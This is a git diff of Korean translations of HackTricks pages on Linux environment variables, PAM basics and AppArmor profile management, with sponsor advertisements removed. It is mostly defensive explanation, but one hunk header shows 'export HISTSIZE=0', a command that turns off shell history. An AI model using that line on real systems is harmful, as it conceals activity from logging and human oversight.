* **HOSTNAME** – 컴퓨터의 호스트 이름.
|
* **HOSTNAME** – 컴퓨터의 호스트 이름.
|
||||||
* **LANG** – 현재 언어.
|
* **LANG** – 현재 언어.
|
||||||
* **MAIL** – 사용자의 메일 스풀 위치. 보통 **/var/spool/mail/USER**.
|
* **MAIL** – 사용자의 메일 스풀 위치. 일반적으로 **/var/spool/mail/USER**.
|
||||||
* **MANPATH** – 매뉴얼 페이지를 검색할 디렉토리 목록.
|
* **MANPATH** – 매뉴얼 페이지를 검색할 디렉토리 목록.
|
||||||
* **OSTYPE** – 운영 체제의 유형.
|
* **OSTYPE** – 운영 체제의 유형.
|
||||||
* **PS1** – bash의 기본 프롬프트.
|
* **PS1** – bash의 기본 프롬프트.
|
||||||
|
@ -92,7 +84,7 @@ export HISTSIZE=0
|
||||||
```
|
```
|
||||||
### http\_proxy & https\_proxy
|
### http\_proxy & https\_proxy
|
||||||
|
|
||||||
프로세스는 **http 또는 https**를 통해 인터넷에 연결하기 위해 여기에서 선언된 **프록시**를 사용할 것입니다.
|
프로세스는 **http 또는 https**를 통해 인터넷에 연결하기 위해 여기에서 선언된 **프록시**를 사용합니다.
|
||||||
```bash
|
```bash
|
||||||
export http_proxy="http://10.10.10.10:8080"
|
export http_proxy="http://10.10.10.10:8080"
|
||||||
export https_proxy="http://10.10.10.10:8080"
|
export https_proxy="http://10.10.10.10:8080"
|
||||||
|
@ -106,9 +98,9 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
||||||
```
|
```
|
||||||
### PS1
|
### PS1
|
||||||
|
|
||||||
프롬프트 모양을 변경합니다.
|
프롬프트의 모양을 변경합니다.
|
||||||
|
|
||||||
[**예시입니다**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
[**이것은 예시입니다**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||||
|
|
||||||
루트:
|
루트:
|
||||||
|
|
||||||
|
@ -118,7 +110,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (740).png>)
|
![](<../.gitbook/assets/image (740).png>)
|
||||||
|
|
||||||
백그라운드 작업이 하나, 둘, 셋:
|
하나, 둘, 셋의 백그라운드 작업:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (145).png>)
|
![](<../.gitbook/assets/image (145).png>)
|
||||||
|
|
||||||
|
@ -126,11 +118,6 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (715).png>)
|
![](<../.gitbook/assets/image (715).png>)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -141,8 +128,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Basic Information
|
### Basic Information
|
||||||
|
|
||||||
**PAM (Pluggable Authentication Modules)**는 **컴퓨터 서비스에 접근하려는 사용자의 신원을 확인하는** 보안 메커니즘으로, 다양한 기준에 따라 접근을 제어합니다. 이는 디지털 게이트키퍼와 유사하여, 권한이 있는 사용자만 특정 서비스에 참여할 수 있도록 보장하며, 시스템 과부하를 방지하기 위해 사용을 제한할 수 있습니다.
|
**PAM (Pluggable Authentication Modules)**는 **컴퓨터 서비스에 접근하려는 사용자의 신원을 확인하는 보안 메커니즘**으로, 다양한 기준에 따라 접근을 제어합니다. 이는 디지털 게이트키퍼와 유사하여, 권한이 있는 사용자만 특정 서비스에 참여할 수 있도록 보장하며, 시스템 과부하를 방지하기 위해 사용을 제한할 수 있습니다.
|
||||||
|
|
||||||
#### Configuration Files
|
#### Configuration Files
|
||||||
|
|
||||||
|
@ -53,7 +40,7 @@ session required /lib/security/pam_unix_session.so
|
||||||
```
|
```
|
||||||
#### **PAM 관리 영역**
|
#### **PAM 관리 영역**
|
||||||
|
|
||||||
이 영역, 또는 관리 그룹은 **auth**, **account**, **password**, **session**을 포함하며, 각각 인증 및 세션 관리 프로세스의 다양한 측면을 담당합니다:
|
이 영역 또는 관리 그룹에는 **auth**, **account**, **password**, **session**이 포함되며, 각각 인증 및 세션 관리 프로세스의 다양한 측면을 담당합니다:
|
||||||
|
|
||||||
* **Auth**: 사용자 신원을 검증하며, 종종 비밀번호 입력을 요구합니다.
|
* **Auth**: 사용자 신원을 검증하며, 종종 비밀번호 입력을 요구합니다.
|
||||||
* **Account**: 그룹 멤버십이나 시간 제한과 같은 조건을 확인하여 계정 검증을 처리합니다.
|
* **Account**: 그룹 멤버십이나 시간 제한과 같은 조건을 확인하여 계정 검증을 처리합니다.
|
||||||
|
@ -66,28 +53,17 @@ session required /lib/security/pam_unix_session.so
|
||||||
|
|
||||||
* **Required**: 필수 모듈의 실패는 결국 실패로 이어지지만, 모든 후속 모듈이 확인된 후에만 발생합니다.
|
* **Required**: 필수 모듈의 실패는 결국 실패로 이어지지만, 모든 후속 모듈이 확인된 후에만 발생합니다.
|
||||||
* **Requisite**: 실패 시 즉시 프로세스를 종료합니다.
|
* **Requisite**: 실패 시 즉시 프로세스를 종료합니다.
|
||||||
* **Sufficient**: 성공 시 동일 영역의 나머지 검사를 우회하지만, 후속 모듈이 실패할 경우는 제외됩니다.
|
* **Sufficient**: 성공하면 동일 영역의 나머지 검사를 우회하지만, 후속 모듈이 실패할 경우는 제외됩니다.
|
||||||
* **Optional**: 스택에서 유일한 모듈일 경우에만 실패를 유발합니다.
|
* **Optional**: 스택에서 유일한 모듈인 경우에만 실패를 유발합니다.
|
||||||
|
|
||||||
#### 예시 시나리오
|
#### 예시 시나리오
|
||||||
|
|
||||||
여러 auth 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. `pam_securetty` 모듈이 로그인 터미널이 승인되지 않았다고 판단하면, root 로그인이 차단되지만, "required" 상태로 인해 모든 모듈은 여전히 처리됩니다. `pam_env`는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. `pam_ldap`와 `pam_unix` 모듈은 함께 작동하여 사용자를 인증하며, `pam_unix`는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다.
|
여러 auth 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. `pam_securetty` 모듈이 로그인 터미널이 승인되지 않았다고 판단하면 root 로그인이 차단되지만, "required" 상태로 인해 모든 모듈이 여전히 처리됩니다. `pam_env`는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. `pam_ldap`와 `pam_unix` 모듈은 함께 작동하여 사용자를 인증하며, `pam_unix`는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다.
|
||||||
|
|
||||||
### References
|
### References
|
||||||
|
|
||||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **compromised**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,58 +1,44 @@
|
||||||
# AppArmor
|
# AppArmor
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 요령을 공유하세요.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
## Basic Information
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
AppArmor는 **프로그램별 프로필을 통해 프로그램에 제공되는 리소스를 제한하도록 설계된 커널 향상 기능**으로, 사용자 대신 프로그램에 직접 액세스 제어 속성을 연결하여 강제 액세스 제어(MAC)를 효과적으로 구현합니다. 이 시스템은 **부팅 중에 프로필을 커널에 로드**하여 작동하며, 이러한 프로필은 프로그램이 접근할 수 있는 리소스(예: 네트워크 연결, 원시 소켓 접근 및 파일 권한)를 규정합니다.
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
|
||||||
|
|
||||||
AppArmor는 **프로그램별 프로필을 통해 프로그램에 제공되는 리소스를 제한하는 것을 목적으로 하는 커널 개선**으로, 사용자가 아닌 프로그램에 직접 액세스 제어 속성을 묶어 강제 액세스 제어(MAC)를 효과적으로 구현합니다. 이 시스템은 **프로필을 커널에 로드**하여 작동하며, 이러한 프로필은 프로그램이 액세스할 수 있는 리소스를 지시합니다. 네트워크 연결, raw 소켓 액세스 및 파일 권한과 같은 것들이 포함됩니다.
|
|
||||||
|
|
||||||
AppArmor 프로필에는 두 가지 운영 모드가 있습니다:
|
AppArmor 프로필에는 두 가지 운영 모드가 있습니다:
|
||||||
|
|
||||||
* **강제 모드**: 이 모드는 프로필 내에서 정의된 정책을 적극적으로 시행하여 이러한 정책을 위반하는 조치를 차단하고 syslog 또는 auditd와 같은 시스템을 통해 이러한 위반 시도를 기록합니다.
|
* **강제 모드**: 이 모드는 프로필 내에서 정의된 정책을 적극적으로 시행하며, 이러한 정책을 위반하는 행동을 차단하고 syslog 또는 auditd와 같은 시스템을 통해 위반 시도를 기록합니다.
|
||||||
* **불평 모드**: 강제 모드와 달리 불평 모드는 프로필의 정책에 어긋나는 조치를 차단하지 않습니다. 대신, 이러한 시도를 정책 위반으로 기록하고 제한을 시행하지 않습니다.
|
* **불만 모드**: 강제 모드와 달리 불만 모드는 프로필의 정책에 반하는 행동을 차단하지 않습니다. 대신, 이러한 시도를 정책 위반으로 기록하지만 제한을 시행하지 않습니다.
|
||||||
|
|
||||||
### AppArmor 구성 요소
|
### Components of AppArmor
|
||||||
|
|
||||||
* **커널 모듈**: 정책 시행을 담당합니다.
|
* **커널 모듈**: 정책 시행을 담당합니다.
|
||||||
* **정책**: 프로그램 동작 및 리소스 액세스에 대한 규칙과 제한을 지정합니다.
|
* **정책**: 프로그램 동작 및 리소스 접근에 대한 규칙과 제한을 지정합니다.
|
||||||
* **파서**: 정책을 커널에 로드하여 시행하거나 보고합니다.
|
* **파서**: 정책을 커널에 로드하여 시행 또는 보고합니다.
|
||||||
* **유틸리티**: AppArmor와 상호 작용하고 관리하기 위한 인터페이스를 제공하는 사용자 모드 프로그램입니다.
|
* **유틸리티**: AppArmor와 상호작용하고 관리하기 위한 인터페이스를 제공하는 사용자 모드 프로그램입니다.
|
||||||
|
|
||||||
### 프로필 경로
|
### Profiles path
|
||||||
|
|
||||||
AppArmor 프로필은 일반적으로 _**/etc/apparmor.d/**_에 저장됩니다.\
|
Apparmor 프로필은 일반적으로 _**/etc/apparmor.d/**_에 저장됩니다.\
|
||||||
`sudo aa-status`를 사용하여 일부 프로필에 제한이 있는 이진 파일을 나열할 수 있습니다. 나열된 각 이진 파일의 경로에서 슬래시 "/"를 점으로 변경하면 언급된 폴더 내의 apparmor 프로필 이름을 얻을 수 있습니다.
|
`sudo aa-status`를 사용하면 일부 프로필에 의해 제한된 바이너리를 나열할 수 있습니다. 나열된 각 바이너리의 경로에서 문자 "/"를 점으로 변경하면 언급된 폴더 내의 apparmor 프로필 이름을 얻을 수 있습니다.
|
||||||
|
|
||||||
예를 들어, _/usr/bin/man_에 대한 **apparmor** 프로필은 _/etc/apparmor.d/usr.bin.man_에 위치합니다.
|
예를 들어, _/usr/bin/man_에 대한 **apparmor** 프로필은 _/etc/apparmor.d/usr.bin.man_에 위치합니다.
|
||||||
|
|
||||||
### 명령어
|
### Commands
|
||||||
```bash
|
```bash
|
||||||
aa-status #check the current status
|
aa-status #check the current status
|
||||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||||
|
@ -62,42 +48,42 @@ aa-genprof #generate a new profile
|
||||||
aa-logprof #used to change the policy when the binary/program is changed
|
aa-logprof #used to change the policy when the binary/program is changed
|
||||||
aa-mergeprof #used to merge the policies
|
aa-mergeprof #used to merge the policies
|
||||||
```
|
```
|
||||||
## 프로필 생성
|
## 프로파일 생성
|
||||||
|
|
||||||
* 영향을 받는 실행 파일을 나타내기 위해 **절대 경로 및 와일드카드**가 허용됩니다 (파일 글로빙을 위해).
|
* 영향을 받는 실행 파일을 나타내기 위해 **절대 경로와 와일드카드**가 파일을 지정하는 데 허용됩니다.
|
||||||
* **파일**에 대한 이진 파일의 액세스를 나타내기 위해 다음 **액세스 제어**를 사용할 수 있습니다:
|
* 바이너리가 **파일**에 대해 가질 접근을 나타내기 위해 다음 **접근 제어**를 사용할 수 있습니다:
|
||||||
* **r** (읽기)
|
* **r** (읽기)
|
||||||
* **w** (쓰기)
|
* **w** (쓰기)
|
||||||
* **m** (실행 가능한 메모리 맵)
|
* **m** (실행 가능한 메모리 맵)
|
||||||
* **k** (파일 잠금)
|
* **k** (파일 잠금)
|
||||||
* **l** (하드 링크 생성)
|
* **l** (하드 링크 생성)
|
||||||
* **ix** (다른 프로그램을 새 프로그램에서 상속 정책으로 실행)
|
* **ix** (새 프로그램이 정책을 상속받아 다른 프로그램을 실행)
|
||||||
* **Px** (환경을 정리한 후 다른 프로필 하에 실행)
|
* **Px** (환경을 정리한 후 다른 프로파일 아래에서 실행)
|
||||||
* **Cx** (환경을 정리한 후 자식 프로필 하에 실행)
|
* **Cx** (환경을 정리한 후 자식 프로파일 아래에서 실행)
|
||||||
* **Ux** (환경을 정리한 후 비제한적으로 실행)
|
* **Ux** (환경을 정리한 후 제한 없이 실행)
|
||||||
* **변수**는 프로필에서 정의될 수 있으며 프로필 외부에서 조작할 수 있습니다. 예: @{PROC} 및 @{HOME} (프로필 파일에 #include \<tunables/global> 추가)
|
* **변수**는 프로파일에서 정의할 수 있으며 프로파일 외부에서 조작할 수 있습니다. 예: @{PROC} 및 @{HOME} (프로파일 파일에 #include \<tunables/global> 추가)
|
||||||
* **허용 규칙을 무시하는 거부 규칙이 지원**됩니다.
|
* **허용 규칙을 무시하기 위해 거부 규칙이 지원됩니다**.
|
||||||
|
|
||||||
### aa-genprof
|
### aa-genprof
|
||||||
|
|
||||||
프로필 생성을 쉽게 시작하려면 apparmor를 사용할 수 있습니다. **이진 파일이 수행하는 작업을 apparmor가 검사한 다음 허용하거나 거부할 작업을 결정할 수 있습니다**.\
|
프로파일 생성을 쉽게 시작하기 위해 apparmor가 도움을 줄 수 있습니다. **apparmor가 바이너리에 의해 수행된 작업을 검사하고 어떤 작업을 허용하거나 거부할지 결정할 수 있게 해줍니다**.\
|
||||||
다음을 실행하면 됩니다:
|
단순히 다음을 실행하면 됩니다:
|
||||||
```bash
|
```bash
|
||||||
sudo aa-genprof /path/to/binary
|
sudo aa-genprof /path/to/binary
|
||||||
```
|
```
|
||||||
그럼, 다른 콘솔에서 일반적으로 실행되는 이진 파일이 수행하는 모든 작업을 수행하십시오:
|
그런 다음, 다른 콘솔에서 바이너리가 일반적으로 수행할 모든 작업을 수행합니다:
|
||||||
```bash
|
```bash
|
||||||
/path/to/binary -a dosomething
|
/path/to/binary -a dosomething
|
||||||
```
|
```
|
||||||
그럼 첫 번째 콘솔에서 "**s**"를 누르고 기록된 작업에서 무시하거나 허용할지 여부를 지정하십시오. 완료하면 "**f**"를 누르고 새 프로필이 _/etc/apparmor.d/path.to.binary_에 생성됩니다.
|
그런 다음 첫 번째 콘솔에서 "**s**"를 누르고 기록된 작업에서 무시할지, 허용할지 또는 다른 작업을 선택합니다. 완료되면 "**f**"를 눌러 새 프로필이 _/etc/apparmor.d/path.to.binary_에 생성됩니다.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
화살표 키를 사용하여 허용/거부/기타를 선택할 수 있습니다.
|
화살표 키를 사용하여 허용/거부/기타 작업을 선택할 수 있습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### aa-easyprof
|
### aa-easyprof
|
||||||
|
|
||||||
또한 이진 파일의 apparmor 프로필 템플릿을 만들 수 있습니다:
|
이진 파일의 apparmor 프로필 템플릿을 다음과 같이 생성할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sudo aa-easyprof /path/to/binary
|
sudo aa-easyprof /path/to/binary
|
||||||
# vim:syntax=apparmor
|
# vim:syntax=apparmor
|
||||||
|
@ -123,21 +109,21 @@ sudo aa-easyprof /path/to/binary
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
기본적으로 생성된 프로필에서는 아무 것도 허용되지 않으므로 모든 것이 거부됩니다. 예를 들어 `/etc/passwd r,`와 같은 줄을 추가하여 이진 파일이 `/etc/passwd`를 읽을 수 있도록 해야 합니다.
|
기본적으로 생성된 프로필에서는 아무것도 허용되지 않으므로 모든 것이 거부됩니다. 예를 들어, 이진 파일이 `/etc/passwd`를 읽을 수 있도록 `/etc/passwd r,`와 같은 줄을 추가해야 합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
그런 다음 새 프로필을 **강제로 적용**할 수 있습니다.
|
그런 다음 **강제 적용**할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||||
```
|
```
|
||||||
### 로그에서 프로필 수정
|
### 로그에서 프로필 수정하기
|
||||||
|
|
||||||
다음 도구는 로그를 읽고 사용자에게 감지된 금지된 작업 중 일부를 허용할지 묻습니다:
|
다음 도구는 로그를 읽고 사용자가 감지된 금지된 행동 중 일부를 허용할 것인지 물어봅니다:
|
||||||
```bash
|
```bash
|
||||||
sudo aa-logprof
|
sudo aa-logprof
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
화살표 키를 사용하여 허용할지 거부할지 기타 작업을 선택할 수 있습니다.
|
화살표 키를 사용하여 허용/거부/기타 원하는 항목을 선택할 수 있습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 프로필 관리
|
### 프로필 관리
|
||||||
|
@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
||||||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||||
```
|
```
|
||||||
## 로그
|
## Logs
|
||||||
|
|
||||||
실행 파일 **`service_bin`**의 _/var/log/audit/audit.log_에서 **AUDIT** 및 **DENIED** 로그의 예시:
|
예시 **AUDIT** 및 **DENIED** 로그는 실행 파일 **`service_bin`**의 _/var/log/audit/audit.log_에서 가져온 것입니다:
|
||||||
```bash
|
```bash
|
||||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||||
```
|
```
|
||||||
다음을 사용하여이 정보를 얻을 수도 있습니다:
|
이 정보를 다음을 사용하여 얻을 수도 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sudo aa-notify -s 1 -v
|
sudo aa-notify -s 1 -v
|
||||||
Profile: /bin/service_bin
|
Profile: /bin/service_bin
|
||||||
|
@ -173,9 +159,9 @@ Logfile: /var/log/audit/audit.log
|
||||||
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
||||||
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
||||||
```
|
```
|
||||||
## 도커에서의 Apparmor
|
## Apparmor in Docker
|
||||||
|
|
||||||
도커의 프로필 **docker-profile**이 기본적으로 로드되는 방법에 주목하세요:
|
docker의 프로필 **docker-profile**이 기본적으로 로드되는 방식을 주목하세요:
|
||||||
```bash
|
```bash
|
||||||
sudo aa-status
|
sudo aa-status
|
||||||
apparmor module is loaded.
|
apparmor module is loaded.
|
||||||
|
@ -191,49 +177,50 @@ apparmor module is loaded.
|
||||||
/usr/lib/connman/scripts/dhclient-script
|
/usr/lib/connman/scripts/dhclient-script
|
||||||
docker-default
|
docker-default
|
||||||
```
|
```
|
||||||
기본적으로 **Apparmor 도커 기본 프로필**은 [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)에서 생성됩니다.
|
기본적으로 **Apparmor docker-default 프로필**은 [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)에서 생성됩니다.
|
||||||
|
|
||||||
**도커 기본 프로필 요약**:
|
**docker-default 프로필 요약**:
|
||||||
|
|
||||||
* 모든 **네트워킹에 대한 액세스**
|
* 모든 **네트워킹**에 대한 **접근**
|
||||||
* **능력(capability)이 정의되지 않음** (그러나 일부 능력은 기본 기본 규칙을 포함하여 제공됨 예: #include \<abstractions/base>)
|
* **능력**이 정의되어 있지 않음 (그러나 일부 능력은 기본 기본 규칙을 포함하여 올 수 있음, 즉 #include \<abstractions/base>)
|
||||||
* **/proc** 파일에 **쓰기가 허용되지 않음**
|
* **/proc** 파일에 대한 **쓰기**는 **허용되지 않음**
|
||||||
* 다른 /**proc** 및 /**sys**의 **하위 디렉토리/파일**은 읽기/쓰기/잠금/링크/실행 액세스가 **거부됨**
|
* 다른 **하위 디렉토리**/**파일**인 /**proc** 및 /**sys**에 대한 읽기/쓰기/잠금/링크/실행 접근이 **거부됨**
|
||||||
* **마운트가 허용되지 않음**
|
* **마운트**는 **허용되지 않음**
|
||||||
* **Ptrace**는 **동일한 apparmor 프로필로 제한된 프로세스에서만 실행**될 수 있음
|
* **Ptrace**는 **같은 apparmor 프로필**로 제한된 프로세스에서만 실행할 수 있음
|
||||||
|
|
||||||
도커 컨테이너를 실행하면 다음 출력이 표시됩니다:
|
**docker 컨테이너를 실행하면** 다음 출력을 볼 수 있어야 합니다:
|
||||||
```bash
|
```bash
|
||||||
